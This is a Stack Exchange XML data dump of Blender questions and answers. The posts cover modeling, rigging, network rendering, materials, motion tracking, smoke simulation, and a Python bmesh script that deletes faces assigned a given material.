  <row Id="23890" PostTypeId="1" CreationDate="2015-01-27T21:18:58.583" Score="0" ViewCount="132" Body="&lt;p&gt;I am building a library in Blender... and I am a real newbie. Just started out 4 days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fear I have been a bit over zealous and created a cube for every book in the library. And hit about the edge of what blender can take on my computer and I have So much more to add. I hit about 20000 and need another 50000 :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most books share a face with the book next too it or at least share part of one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to simplify the rows of book in my library or make the books into an object even tough they don't share Materials? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&quot;d Like to keep them apart if possible but that is just impossible I think.&lt;/p&gt;&#xA;" OwnerUserId="11264" LastActivityDate="2015-01-27T21:18:58.583" Title="Simplyfying a lot of cubes" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="23891" PostTypeId="2" ParentId="23877" CreationDate="2015-01-27T21:31:46.937" Score="2" Body="&lt;p&gt;Thank you to everyone who responded.  A synopsis of the workaround.  (I say workaround because this isn't really a fix, but it's more than functional enough to unblock progress and move forward.  A true fix would be figuring out why the IK solver isn't deducing a solution to chains of length three.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original IK configuration had the constraint placed on the FOOT bone with an IK chain of length three.  The solution involved moving the IK constraint to the SHIN bone [one up] and decrementing the IK chain by one.  Now the knee bends properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I speculate (again SPECULATE, I don't know if there is any basis here) that perhaps having the foot as the target of the IK chain meant that there were two bends [the knee and the angle] which were being used for determining the direction of the bend -- that is to say, instead of pointing the knee bend at the knee pole, it was trying to point the ankle at the pole and ignoring the knee, keeping that segment strait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very grateful to everyone who provided insight.  Special kudos to Jerryno and Naioai for setting me on the right track.&lt;/p&gt;&#xA;" OwnerUserId="11260" LastActivityDate="2015-01-27T21:31:46.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23892" PostTypeId="1" CreationDate="2015-01-27T21:33:42.530" Score="3" ViewCount="1837" Body="&lt;p&gt;I'm running Blender 2.73 with Network Render using VCS setup with Git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My jobs just get stuck in a queued mode.  I've left it for hours and nothing helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All my slaves are on a remote cluster.  Everything (client, master, slaves) are all on Linux.  client&amp;amp;master are on the same Ubuntu 14.04 box, and slaves are all on a CentOS 6 cluster, three nodes including the headnode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is, my client runs in the GUI on the same box as the master running &lt;code&gt;master.blend&lt;/code&gt;.  The slaves all open tunnels back to the master and run blender in CLI mode using &lt;code&gt;slave.blend&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My file, &lt;code&gt;ozone.blend&lt;/code&gt; is in git.  On the client I specify everything requested&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZdAF3.png&quot; alt=&quot;VCS Settings on Client&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My slaves nodes all connect as you can see in that image, I also see them in the master console at &lt;a href=&quot;http://localhost:8000&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:8000&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go to my slaves which operate out of a clone of my repo, and I pull the newest changes.  These files are shared across the cluster, but &lt;code&gt;/tmp/&lt;/code&gt; is unique to each node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my jobs simply stay in my queue&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m9Zz4.png&quot; alt=&quot;Jobs stuck in queue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do they get stuck?  Am I using the VCS tools poorly?  The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Performance/Netrender&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual instructions&lt;/a&gt; aren't much help, and while I see other people with issues , I don't see any solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I not have clones of my repo on my slaves?  Should the clones be in separate directories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried restarting everything, including the master.  When doing so I delete everything related to them out of &lt;code&gt;/tmp&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, without VCS, the jobs run.&lt;/p&gt;&#xA;" OwnerUserId="10933" LastEditorUserId="10933" LastEditDate="2015-01-27T21:54:15.170" LastActivityDate="2015-01-27T21:54:15.170" Title="Blender Netrender jobs stuck in queue" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-01-30T14:23:04.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="23893" PostTypeId="1" CreationDate="2015-01-27T22:44:08.393" Score="3" ViewCount="617" Body="&lt;p&gt;I found &lt;a href=&quot;http://wiki.blender.org/index.php/User:Jwilkins/GSoC2011/Google_Summer_of_Code_2011_Preliminary_Documentation&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; in the threads from GSoC 2010 or 2011, but can't find it now in blender. Is there an option somewhere or an addon that project brush circle on top of the surface of your model?&lt;/p&gt;&#xA;" OwnerUserId="11266" LastEditorUserId="2217" LastEditDate="2015-01-27T23:50:49.567" LastActivityDate="2015-04-12T19:23:59.377" Title="Is there any &quot;Show Brush On Surface&quot; option in sculpt mode?" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23894" PostTypeId="2" ParentId="23810" CreationDate="2015-01-27T23:21:42.763" Score="0" Body="&lt;p&gt;It seems to me that what I asked is not easily done. As suggested by @maddin45 you can use baking. This looks complicated to script and I discarded this idea. The other suggestion of using Radiosity Rendering is out because Radiosity Rendering does not seem to be available in the newer releases of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is to use ray casts. By casting a ray from every face towards my light source(s) I can see if the light source can be &quot;seen&quot; from that face, or if it is blocked by the structure I'm manipulation. This is a very simplistic approach to figure out something about how much light hits the face. The approximation can be improved by calculating the area of the face and taking the difference between the face normal and the vector pointing from the face centroid towards the light source into account. For my use this seems to be working quite well. Which is to say that it seems to be fast enough and accurate enough for my use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I welcome any other suggestions for doing this. &lt;/p&gt;&#xA;" OwnerUserId="7633" LastActivityDate="2015-01-27T23:21:42.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23895" PostTypeId="1" AcceptedAnswerId="23896" CreationDate="2015-01-28T01:59:20.687" Score="3" ViewCount="6622" Body="&lt;p&gt;I am trying clean up topology, and I have found an issue which I will have to do a TON work for this mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a line of vertices I would like to quickly make straight. You can do this in the UV/Image editor by pressing &lt;kbd&gt;W&lt;/kbd&gt; &gt; Align X or Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any possible way to achieve this is the 3D View?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRUOQ.png&quot; alt=&quot;vertices unaligned&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-01-28T02:32:36.677" LastActivityDate="2015-01-28T13:37:33.917" Title="Quickly align edge loop?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-01-28T05:20:51.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="23896" PostTypeId="2" ParentId="23895" CreationDate="2015-01-28T02:26:51.430" Score="8" Body="&lt;p&gt;For the edge loop in your picture, with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;noreferrer&quot;&gt;Pivot Point &lt;/a&gt; set to &lt;em&gt;Median Point&lt;/em&gt;, &lt;em&gt;Individual Origins&lt;/em&gt;, or &lt;em&gt;Bounding Box Center&lt;/em&gt;, you can press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will scale all the selected vertices along the Y axis to 0, meaning all together, because the scaling is constrained to the Y axis, you will get a straight line perpendicular to the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; &lt;code&gt;0&lt;/code&gt; for the X axis&lt;br&gt;&#xA;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; &lt;code&gt;0&lt;/code&gt; for the Y axis&lt;br&gt;&#xA;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; &lt;code&gt;0&lt;/code&gt; for the Z axis  &lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-01-28T13:37:33.917" LastActivityDate="2015-01-28T13:37:33.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23897" PostTypeId="1" CreationDate="2015-01-28T03:31:46.350" Score="1" ViewCount="104" Body="&lt;p&gt;I'm making a scene of a German V2 rocket being launched, and I'm stuck on the body.  What is the best way to do it?  It has to be quite high poly so that the surface looks smooth, or I would just use Scale on a cylinder.  &lt;/p&gt;&#xA;" OwnerUserId="11268" LastActivityDate="2015-01-28T03:31:46.350" Title="Modelling a rocket" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-28T07:04:43.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="23898" PostTypeId="1" CreationDate="2015-01-28T04:50:29.173" Score="1" ViewCount="534" Body="&lt;p&gt;I'm trying to rig a lego minifigure skeleton. I followed the instructions in this tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=B9iL1hmJXrI&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=B9iL1hmJXrI&lt;/a&gt; and was able to get the armature working and even make a walkcycle. I would like to add physics to the skeleton but I'm not sure if my setup precludes this. My aim is to have keyframe animations take precedence in certain situations - like when its walking - and the physics engine take over in others - like if it gets hit by something at which point it should behave like a rag-doll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;specifically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Because its a mechanical rig should I even use an armature or just use constraints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If I do use an armature, should the minifigure be a single mesh or can I keep the arms, legs, torso as separate objects?  &lt;/p&gt;&#xA;" OwnerUserId="11269" LastEditorUserId="11269" LastEditDate="2015-01-29T05:28:43.227" LastActivityDate="2015-01-29T05:28:43.227" Title="How to rig a skeleton so that it can be controlled with physics?" Tags="&lt;game-engine&gt;&lt;rigging&gt;&lt;physics&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23899" PostTypeId="2" ParentId="23887" CreationDate="2015-01-28T04:54:27.620" Score="4" Body="&lt;p&gt;You should probably read mataii's answer first.  He brings up a good point and since watching a 10 minute video isn't something I wanted to do I did miss the point of the question a bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several of the influence parameters for Blender Render(Internal) materials are only able to access the textures 4th component: the Alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if we could choose from (x,y,z,a) so that we could pack 4 masks into one texture and use that texture for Emission, Specular Intensity, Hardness, etc... but for now, if the influence uses a mask, that mask has to be in the alpha channel of a four component texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your Emission mask to have color then also check off 'Color' :) &#xA;For the Emission mask, you had &quot;RGB to Intensity&quot; activated right below Blend-&gt;mix under the Influence section.  That causes the green to become blue so be sure to uncheck that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following image shows what happens when Emit is checked and there is no light in the scene.  The object becomes bright blue and there is no hint of the green blob.  That's because the Alpha channel for that image is pure white and this makes Emit 1.0 for every point on the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9QywU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following image I have the Color Influence activated and set to 1.0 and the Emit influence set to 1.0 as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ag1fE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test the effect that an alpha mask has on Emission by going into Texture Paint mode and make sure that the Emission texture is selected. Now select Erase Alpha from the Blend menu.(If you use a pen tablet you should be able to skip that last step since the pen's eraser is supposed to automatically use Erase Alpha.  It does for me so if it doesn't for you that's a bug report.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1bnS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe a quick animation is now in order and there is one sun lamp in the scene to show contrast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tErQX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles the Emission texture is plugged into an Emission shader and the same texture is also being used to control the mix factor for a Mix Shader that has a Diffuse shader plugged into the other input socket.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Emit texture is routed through a 'Converter-&gt;RGB to BW' node since color should be avoided for masks.  The Mix Shader uses black and white(0.0, 1.0) to determine the mix factor so we want to make sure that what goes in is also single a channel value.  (This helps keep things predictable though not strictly necessary.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles, the texture's Alpha channel doesn't matter here since your mask can be in any one of the channels and easily accessed using either of the &quot;Separate XYZ/RGB&quot; nodes.  In this case all three color channels are the mask, that's why I converted to black and white.  An better option would be to separate out the green channel and use that since it's the mask in this case and adjusting it would also adjust the others if they are still combined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98qWz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-01-28T05:47:21.907" LastActivityDate="2015-01-28T05:47:21.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23900" PostTypeId="2" ParentId="23501" CreationDate="2015-01-28T05:09:14.280" Score="2" Body="&lt;p&gt;I think you are trying to &quot;mirror along the diagonal&quot;, i.e reflected in X + Y &#xA;but you want to to only end up with two instances of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is &quot;array modifier + empty scaled to negative 1 in X and Y&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an object &quot;A&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Create an empty &quot;E&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Scale &quot;E&quot; in X to -1, and in Y to -1.&lt;/li&gt;&#xA;&lt;li&gt;Add a modifier &quot;Array&quot; to object &quot;A&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In the Array modifier, set count to &quot;2&quot; Disable &quot;Relative Offset&quot;. &lt;/li&gt;&#xA;&lt;li&gt;In Array modifier, Enable &quot;Object Offset&quot; and select empty &quot;E&quot; as the&#xA;offset object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The same effect in a different way can be achieved by &quot;array modifier + empty rotated 180 degrees in Z&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an object &quot;A&quot;. &lt;/li&gt;&#xA;&lt;li&gt;Create an empty &quot;E&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Rotate &quot;E&quot; 180 degrees on the Z-axis.&lt;/li&gt;&#xA;&lt;li&gt;Add an Array modifier to object &quot;A&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In Array modifier, set count to &quot;2&quot;, and disable &quot;Relative Offset&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In Array modifier, enable &quot;Object Offset&quot; and select empty &quot;E&quot; as the offset object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally extra credit: for a &quot;kaleidescope&quot; effect you can create a &quot;radially symmetrical&quot; object with &quot;&quot;array modifier + empty rotated 60 degrees in Z&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an object &quot;A&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Create an empty &quot;E&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Rotate &quot;E&quot; 60 degrees on the Z-axis.&lt;/li&gt;&#xA;&lt;li&gt;Add an Array modifier to object &quot;A&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In Array modifier, set count to &quot;6&quot;, and disable &quot;Relative Offset&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In Array modifier, enable &quot;Object Offset&quot; and select empty &quot;E&quot; as the offset object.&lt;/li&gt;&#xA;&lt;li&gt;Animate the value of the Empty's rotation to get a cool motion graphic effect.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note if you are trying to create contiguous i.e. manifold objects using radial&#xA;symmetry, enable &quot;Merge&quot; and &quot;First Last&quot; in the Array modifier. &lt;/p&gt;&#xA;" OwnerUserId="8347" LastEditorUserId="3401" LastEditDate="2015-06-24T10:03:01.093" LastActivityDate="2015-06-24T10:03:01.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23901" PostTypeId="2" ParentId="23887" CreationDate="2015-01-28T05:11:17.620" Score="0" Body="&lt;p&gt;This method only works for the BGE not for the render internal nor Cycles, that's why in the tutorial you have to use some 2d filters to get the emissive effect from the emissive map, so the emissive maps do not generate emission, see the description below, this link is also avaliable in the tutorial web page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.polycount.com/wiki/Emissive_map&quot; rel=&quot;nofollow&quot;&gt;http://wiki.polycount.com/wiki/Emissive_map&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to generate emission, maybe you should use &quot;Indirect lighing&quot; with blender internal, or Cycles :)&lt;/p&gt;&#xA;" OwnerUserId="11270" LastActivityDate="2015-01-28T05:11:17.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23902" PostTypeId="2" ParentId="23865" CreationDate="2015-01-28T05:33:28.500" Score="15" Body="&lt;p&gt;A mostly automatic way to do what you want is to use a &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Motion_Tracker&quot;&gt;Plane Track&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow is like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load your video clip in the &lt;strong&gt;Movie Clip Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a tracker on your image by clicking while pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; and pressing  the tracking forward button (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F5Vpm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Track at least four points within your video corresponding with the area you want to paste your &quot;decal&quot; to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCLGG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all your trackers, go to the &lt;strong&gt;Solve&lt;/strong&gt; tab and open the &lt;strong&gt;Plane Track&lt;/strong&gt; control and click on &lt;strong&gt;Create Plane Track&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new shape will be created. (you might need to adjust the shape to match your needs) The deformation of that plane is controlled by the trackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LE44D.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the compositor use a &lt;strong&gt;Plane Track Deform&lt;/strong&gt; Node (found in the Distort section). Connect it to your decal image, select your video source, camera, plane track, and mix it with the movie clip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fHss2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decal follows the movement and deformation on the video!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wrstt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-28T06:08:37.600" LastActivityDate="2015-01-28T06:08:37.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23903" PostTypeId="1" CreationDate="2015-01-28T05:40:31.483" Score="0" ViewCount="56" Body="&lt;p&gt;If i arrange vertices in a shape in front view and as I pull those vertices backward from the right view, the shape of the front view changes, it contracts as the vertices are pulled backward. So is their any feature to move vertex along the focal length so that the shape of the front view remains the same.&lt;/p&gt;&#xA;" OwnerUserId="9818" LastActivityDate="2015-01-28T05:40:31.483" Title="Is it possible to move vertex along the blender focal length" Tags="&lt;vertex-groups&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23904" PostTypeId="1" CreationDate="2015-01-28T05:58:00.110" Score="4" ViewCount="669" Body="&lt;p&gt;&lt;strong&gt;Preface:&lt;/strong&gt;&#xA;I'm thinking that this might be a bug, because the behavior's pretty weird.&#xA;I'm posting it here in case it is the intended behavior and there's some trick I should use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can successfully use a texture to control the local emission density of a smoke flow mesh by using the &lt;em&gt;Use Texture&lt;/em&gt; feature of &lt;em&gt;Smoke Flow Advanced&lt;/em&gt; (Python: &lt;code&gt;SmokeFlowSettings.noise_texture&lt;/code&gt;).&#xA;This works with the default texture types, like &lt;em&gt;Blend&lt;/em&gt;, &lt;em&gt;Clouds&lt;/em&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go into the compositor and switch to texture nodes, I can convert this to a node-based texture by checking &lt;em&gt;Use Nodes&lt;/em&gt;.&#xA;I can then create a texture with more flexibility.&#xA;All good so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I play the animation to bake the smoke, the &lt;em&gt;Use Nodes&lt;/em&gt; box is immediately unchecked.&#xA;The texture obviously stops working, and no smoke is emitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The desired behavior is, obviously, to use the node-based texture I've created as the smoke flow texture.&#xA;How can I accomplish this within Cycles (besides the texture to an image sequence, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps to reproduce:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create new scene. Switch to Cycles.&lt;/li&gt;&#xA;&lt;li&gt;Delete the cube and add a plane. Press &lt;kbd&gt;Space&lt;/kbd&gt;, &lt;em&gt;Quick Smoke&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the plane physics settings, under &lt;em&gt;Smoke Flow Advanced&lt;/em&gt;, click &lt;em&gt;Use Texture&lt;/em&gt; and select &lt;em&gt;Tex&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the compositor, switch to texture mode and check &lt;em&gt;Use Nodes&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Advance the timeline by one frame (&lt;kbd&gt;&amp;#x2192;&lt;/kbd&gt;). The &lt;em&gt;Use Nodes&lt;/em&gt; box is now unchecked and the texture is not considered in the smoke baking.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="372" LastActivityDate="2015-01-28T05:58:00.110" Title="How can I use a node-based texture for smoke flow in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23905" PostTypeId="1" CreationDate="2015-01-28T07:23:09.880" Score="3" ViewCount="939" Body="&lt;p&gt;I try to remove all the faces of different objects that have a certain material assigned to its face. But I can't get the select part to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;mat1 = bpy.data.materials['c1'] #This is the material name that I want&#xA;&#xA;for ob in scene.objects: #For all objects&#xA;    if ob.type == 'MESH':&#xA;        for mat in ob.material_slots:&#xA;            if mat.material == mat1:&#xA;             bpy.ops.object.editmode_toggle() &#xA;&#xA;             mat.material.material_slot_select() # This doesnt work and i dont know if the later code work aswell&#xA;             me = ob.data&#xA;&#xA;&#xA;             bm = bmesh.from_edit_mesh(me)&#xA;             faces_select = [f for f in bm.faces if f.select] &#xA;&#xA;             bmesh.ops.delete(bm, geom=faces_select, context=5)  &#xA;&#xA;             bmesh.update_edit_mesh(me, True)&#xA;else: &#xA;    ob.select = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is wrong, what shall I write?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Br&lt;/p&gt;&#xA;" OwnerUserId="9534" LastEditorUserId="7777" LastEditDate="2015-01-28T09:45:07.733" LastActivityDate="2015-01-28T09:45:07.733" Title="Select faces depending on material" Tags="&lt;python&gt;&lt;materials&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23906" PostTypeId="1" AcceptedAnswerId="23942" CreationDate="2015-01-28T08:37:01.417" Score="5" ViewCount="3222" Body="&lt;p&gt;I'm new to blender (and 3D modelling) so please use dummy terms if you answer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have applied 3 materials one each to 3 different objects and only 1 renders the same as the material preview. I've attached a screenshot to show you what I mean. The silver material should be on the top ball and the brass material should be on the cylinder holding the ball up. I've no idea why it's not working when the copper material on the spiral wire worked. I'm using cycles render if that helps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UaJqZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11272" LastEditorDisplayName="user1853" LastEditDate="2015-01-28T22:50:29.280" LastActivityDate="2015-01-28T23:57:38.513" Title="Glossy materials not rendering correctly" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23907" PostTypeId="2" ParentId="23905" CreationDate="2015-01-28T09:44:32.237" Score="5" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;mat_c1 = bpy.data.materials['c1']&#xA;&#xA;for ob in bpy.context.scene.objects:&#xA;    if ob.type == 'MESH':&#xA;        # get all the slot indexes to which mat_c1 is assigned&#xA;        c1_slots = [id for id, mat in enumerate(ob.data.materials) if mat == mat_c1]&#xA;&#xA;        # you can also change active_material with&#xA;        # ob.active_material_index = some_number&#xA;        # and then run operators to deselect all faces and select material with&#xA;        # bpy.ops.material_slot_select()&#xA;        # but operators are bad so we will do it differently&#xA;&#xA;        faces_mat_c1 = []&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(ob.data)&#xA;        # no need to swith into edit mode&#xA;&#xA;        for face in bm.faces:&#xA;            if face.material_index in c1_slots:&#xA;                # face has mat_c1 assigned&#xA;                faces_mat_c1.append(face)&#xA;&#xA;        # delete faces with mat_c1&#xA;        bmesh.ops.delete(bm, geom=faces_mat_c1, context=5)&#xA;        bm.to_mesh(ob.data)&#xA;        bm.free()&#xA;    else: &#xA;        ob.select = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-28T09:44:32.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23908" PostTypeId="1" CreationDate="2015-01-28T10:05:02.287" Score="5" ViewCount="662" Body="&lt;p&gt;The way it works now is, I assign some initial pinned vertices to the cloth and model the simulation. However, I'd like to unpin some vertices and pin some new vertices in between the simulation. I want the pinned vertices to switch in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing all of this via scripts (not blender UI). &#xA;Is something like this possible? &lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2015-02-10T22:31:13.340" Title="Dynamically pin cloth when animating" Tags="&lt;python&gt;&lt;scripting&gt;&lt;physics&gt;&lt;cloth-simulation&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
